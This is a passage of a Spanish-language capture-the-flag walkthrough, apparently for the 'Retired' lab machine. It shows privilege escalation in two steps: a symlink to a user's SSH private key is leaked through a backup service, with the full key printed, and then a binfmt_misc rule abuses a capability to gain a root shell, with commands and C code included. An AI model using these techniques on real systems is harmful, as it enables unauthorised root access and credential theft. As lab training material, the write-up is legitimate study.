Fri 2023-06-23 17:58:44 UTC 9min left Fri 2022-03-11 11:13:00 UTC 1 years 3 months ago apt-daily-upgrade.timer apt-daily-upgrade.service
Fri 2023-06-23 18:04:41 UTC 15min left Mon 2022-03-28 11:12:56 UTC 1 years 2 months ago fstrim.timer fstrim.service
Fri 2023-06-23 18:09:00 UTC 19min left Fri 2023-06-23 17:40:57 UTC 8min ago phpsessionclean.timer phpsessionclean.service
Fri 2023-06-23 23:45:31 UTC 5h 56min left Fri 2022-03-11 15:32:28 UTC 1 years 3 months ago apt-daily.timer apt-daily.service
Sat 2023-06-24 00:00:00 UTC 6h left Fri 2023-06-23 17:40:57 UTC 8min ago logrotate.timer logrotate.service
Sat 2023-06-24 00:00:00 UTC 6h left Fri 2023-06-23 17:40:57 UTC 8min ago man-db.timer man-db.service
Sun 2023-06-25 03:10:46 UTC 1 day 9h left Fri 2023-06-23 17:41:27 UTC 7min ago e2scrub_all.timer e2scrub_all.service
www-data@retired:~$
Al mirar la config del servicio
encontramos que ejecuta el binario /usr/bin/webbackup
usando el usuario dev
y el grupo www-data
www-data@retired:~$ find / -name website_backup.service 2>/dev/null
/etc/systemd/system/website_backup.service
www-data@retired:~$ cat /etc/systemd/system/website_backup.service
[Unit]
Description=Backup and rotate website
[Service]
User=dev
Group=www-data
ExecStart=/usr/bin/webbackup
[Install]
WantedBy=multi-user.target
www-data@retired:~$
Resumiendo la funcion de webbackup
vemos que en el directorio /var/www
crea un backup de todo el directorio /var/www/html
usando como nombre la fecha
y hora
www-data@retired:~$ cat /usr/bin/webbackup
#!/bin/bash
set -euf -o pipefail
cd /var/www/
SRC=/var/www/html
DST="/var/www/$(date +%Y-%m-%d_%H-%M-%S)-html.zip"
/usr/bin/rm --force -- "$DST"
/usr/bin/zip --recurse-paths "$DST" "$SRC"
KEEP=10
/usr/bin/find /var/www/ -maxdepth 1 -name '*.zip' -print0 \
| sort --zero-terminated --numeric-sort --reverse \
| while IFS= read -r -d '' backup; do
if [ "$KEEP" -le 0 ]; then
/usr/bin/rm --force -- "$backup"
fi
KEEP="$((KEEP-1))"
done
www-data@retired:~$
Podemos aprovechar que la tarea
se ejecuta como el usuario dev
para crear un enlace simbolico de su clave ssh privada
dentro del directorio html
www-data@retired:~/html$ ln -s /home/dev/.ssh/id_rsa id_rsa
www-data@retired:~/html$
Esperamos que se ejecute la tarea y cuando cree un nuevo zip
lo copiamos un directorio como /tmp
ya que despues de un rato este se borra
www-data@retired:~$ ls -l
-rw-r--r-- 1 dev www-data 505153 Jun 23 17:49 2023-06-23_17-49-01-html.zip
-rw-r--r-- 1 dev www-data 505153 Jun 23 17:50 2023-06-23_17-50-01-html.zip
-rw-r--r-- 1 dev www-data 505153 Jun 23 17:51 2023-06-23_17-51-07-html.zip
-rw-r--r-- 1 dev www-data 507284 Jun 23 17:52 2023-06-23_17-52-01-html.zip
drwxrwsrwx 5 www-data www-data 4096 Jun 23 17:51 html
-rw-r--r-- 1 www-data www-data 12288 Jun 23 17:48 license.sqlite
www-data@retired:~$ cp 2023-06-23_17-52-01-html.zip /tmp
www-data@retired:~$
Ahora lo descomprimimos y en el podemos ver existente el archivo id_rsa
de antes
www-data@retired:/tmp$ unzip 2023-06-23_17-52-01-html.zip
Archive: 2023-06-23_17-52-01-html.zip
creating: var/www/html/
creating: var/www/html/js/
inflating: var/www/html/js/scripts.js
inflating: var/www/html/activate_license.php
creating: var/www/html/assets/
inflating: var/www/html/assets/favicon.ico
creating: var/www/html/assets/img/
inflating: var/www/html/assets/img/close-icon.svg
inflating: var/www/html/assets/img/navbar-logo.svg
creating: var/www/html/assets/img/about/
inflating: var/www/html/assets/img/about/2.jpg
inflating: var/www/html/assets/img/about/4.jpg
inflating: var/www/html/assets/img/about/3.jpg
inflating: var/www/html/assets/img/about/1.jpg
creating: var/www/html/assets/img/logos/
inflating: var/www/html/assets/img/logos/facebook.svg
inflating: var/www/html/assets/img/logos/microsoft.svg
inflating: var/www/html/assets/img/logos/google.svg
inflating: var/www/html/assets/img/logos/ibm.svg
creating: var/www/html/assets/img/team/
inflating: var/www/html/assets/img/team/2.jpg
inflating: var/www/html/assets/img/team/3.jpg
inflating: var/www/html/assets/img/team/1.jpg
inflating: var/www/html/assets/img/header-bg.jpg
inflating: var/www/html/beta.html
inflating: var/www/html/default.html
inflating: var/www/html/index.php
inflating: var/www/html/id_rsa
creating: var/www/html/css/
inflating: var/www/html/css/styles.css
www-data@retired:/tmp$
Al leer el archivo id_rsa
encontramos la clave privada del usuario dev
ya que al comprimir el directorio html
tomaba el enlace simbolico para leerla
www-data@retired:/tmp/var/www/html$ cat id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
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
7rTyG3wbNka1sAAAALZGV2QHJldGlyZWQ=
-----END OPENSSH PRIVATE KEY-----
www-data@retired:/tmp/var/www/html$
Podemos simplemente usar la id_rsa
para conectarnos por ssh
a la maquina sin contraseña, al hacerlo nos convertimos en dev
y podemos leer la primera flag
❯ ssh dev@10.10.11.154 -i id_rsa
dev@retired:~$ id
uid=1001(dev) gid=1001(dev) groups=1001(dev),33(www-data)
dev@retired:~$ hostname -I
10.10.11.154
dev@retired:~$ cat user.txt
f3c**************************924
dev@retired:~$
Shell - root
Mirando los archivos existentes encontramos los directorios activate_license
y emuemu
, actualmente activate_license lo hemos explotado asi que lo omitiremos
dev@retired:~$ ls
activate_license emuemu user.txt
dev@retired:~$
En el directorio emuemu
encontramos varios archivos, entre ellos algunos en C
dev@retired:~/emuemu$ ls
Makefile README.md emuemu emuemu.c reg_helper reg_helper.c test
dev@retired:~/emuemu$
Si miramos lo que hace emuemu
con el codigo de emuemu.c
no hace nada realmente interesante, solo usa puts
para mostrar un mensaje y sale con un codigo 1
dev@retired:~/emuemu$ cat emuemu.c
#include <stdio.h>
/* currently this is only a dummy implementation doing nothing */
int main(void) {
puts("EMUEMU is still under development.");
return 1;
}
dev@retired:~/emuemu$
reg_helper
toma un input y escribe en el archivo register
de binfmt_misc
dev@retired:~/emuemu$ cat reg_helper.c
#define _GNU_SOURCE
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <unistd.h>
int main(void) {
char cmd[512] = { 0 };
read(STDIN_FILENO, cmd, sizeof(cmd)); cmd[-1] = 0;
int fd = open("/proc/sys/fs/binfmt_misc/register", O_WRONLY);
if (-1 == fd)
perror("open");
if (write(fd, cmd, strnlen(cmd,sizeof(cmd))) == -1)
perror("write");
if (close(fd) == -1)
perror("close");
return 0;
}
dev@retired:~/emuemu$
Lo interesante esta en el archivo Makefile
, analizemoslo poco a poco, primero setea una capability cap_dac_override=ep
al binario reg_helper
de emuemu
dev@retired:~/emuemu$ cat Makefile
CC := gcc
CFLAGS := -std=c99 -Wall -Werror -Wextra -Wpedantic -Wconversion -Wsign-conversion
SOURCES := $(wildcard *.c)
TARGETS := $(SOURCES:.c=)
.PHONY: install clean
install: $(TARGETS)
@echo "[+] Installing program files"
install --mode 0755 emuemu /usr/bin/
mkdir --parent --mode 0755 /usr/lib/emuemu /usr/lib/binfmt.d
install --mode 0750 --group dev reg_helper /usr/lib/emuemu/
setcap cap_dac_override=ep /usr/lib/emuemu/reg_helper
@echo "[+] Register OSTRICH ROMs for execution with EMUEMU"
echo ':EMUEMU:M::\x13\x37OSTRICH\x00ROM\x00::/usr/bin/emuemu:' \
| tee /usr/lib/binfmt.d/emuemu.conf \
| /usr/lib/emuemu/reg_helper
clean:
rm -f -- $(TARGETS)
dev@retired:~/emuemu$
Esto podemos comprobarlo usando getcap
sobre el binario reg_helper
indicado
dev@retired:~$ /sbin/getcap /usr/lib/emuemu/reg_helper
/usr/lib/emuemu/reg_helper cap_dac_override=ep
dev@retired:~$
Ademas de ello hace un echo
de una cadena la cual esta separada por :
y hace un tee
sobre emuemu.conf
para escribir el output del echo en este archivo
dev@retired:~$ cat /usr/lib/binfmt.d/emuemu.conf
:EMUEMU:M::\x13\x37OSTRICH\x00ROM\x00::/usr/bin/emuemu:
dev@retired:~$
Leyendo un poco de documentacion encontramos lo que significa cada serparacion
:name:type:offset:magic:mask:interpreter:flags
El Makefile
tambien toma el output del echo para pasarselo como input a reg_helper
el cual crea un archivo de configuración con el nombre, en el podemos ver los valores de las separaciones como el interprete
y los magicbytes
dev@retired:~$ cat /proc/sys/fs/binfmt_misc/EMUEMU
enabled
interpreter /usr/bin/emuemu
flags:
offset 0
magic 13374f53545249434800524f4d00
dev@retired:~$
Cuando ejecutemos un binario correspondiente a los magicbyte
especificados este usara el interprete
que en este caso es el binario emuemu
para ejecutarlo
Mirando las flags
en la documentacion podemos ver la flag C
que sirve para tomar las credenciales
del binario al que pertenecen los magicbytes
y no del inteprete
Lo que podemos hacer es tomar los magicbytes
de un binario suid
y obligar que el interprete
sea un binario personalizado que nos otorge una shell
, para ello primero necesitamos un binario suid cualquiera, podemos usar simplemente mount
dev@retired:~$ find / -perm -u+s 2>/dev/null
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/fusermount
/usr/bin/gpasswd
/usr/bin/su
/usr/bin/chsh
/usr/bin/sudo
/usr/bin/mount
/usr/bin/umount
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
dev@retired:~$
Ahora usando xxd
para convertirlo a hexadecimal y utilizando expresiones
regulares
podemos obtener los magicbytes
pertenecientes al binario mount
dev@retired:~$ cat /usr/bin/mount | xxd -ps | head -n1 | sed 's/\(..\)/\\x\1/g'
\x7f\x45\x4c\x46\x02\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x3e\x00\x01\x00\x00\x00\x40\x62\x00\x00\x00\x00
dev@retired:~$
Ahora registramos una nueva regla con el nombre pwned
usando los magicbytes
de mount
ademas de la flag C
, como interprete indicaremos a /tmp/shell
dev@retired:~$ echo ':pwned:M::\x7f\x45\x4c\x46\x02\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x3e\x00\x01\x00\x00\x00\x40\x62\x00\x00\x00\x00::/tmp/shell:C' | /usr/lib/emuemu/reg_helper
dev@retired:~$
La configuración indica que cuando se detecte la ejecucion de un binario
con los magicbytes
de mount
este tomara como interprete el binario /tmp/shell
dev@retired:~$ cat /proc/sys/fs/binfmt_misc/pwned
enabled
interpreter /tmp/shell
flags: OC
offset 0
magic 7f454c4602010100000000000000000003003e0001000000406200000000
dev@retired:~$
Ahora solo falta crear el binario shell
, para ello con un programa en C
creamos un compilado que setee nuestro uid
a 0
y nos lanze una bash
interactiva
dev@retired:/tmp$ cat shell.c
#include <stdlib.h>
#include <unistd.h>
int main() {
setreuid(0, 0);
setregid(0, 0);
system("/bin/bash");
return 0;
}
dev@retired:/tmp$ gcc shell.c -o shell
dev@retired:/tmp$
Finalmente ejecutamos el binario mount
y al comparar los magicbytes
y ser iguales este tomara como interprete shell
que nos dara una bash
con el uid 0
de root
dev@retired:~$ mount
root@retired:~# id
uid=0(root) gid=0(root) groups=0(root)
root@retired:~# hostname -I
10.10.11.154
root@retired:~# cat /root/root.txt
3b4**************************00e
root@retired:~#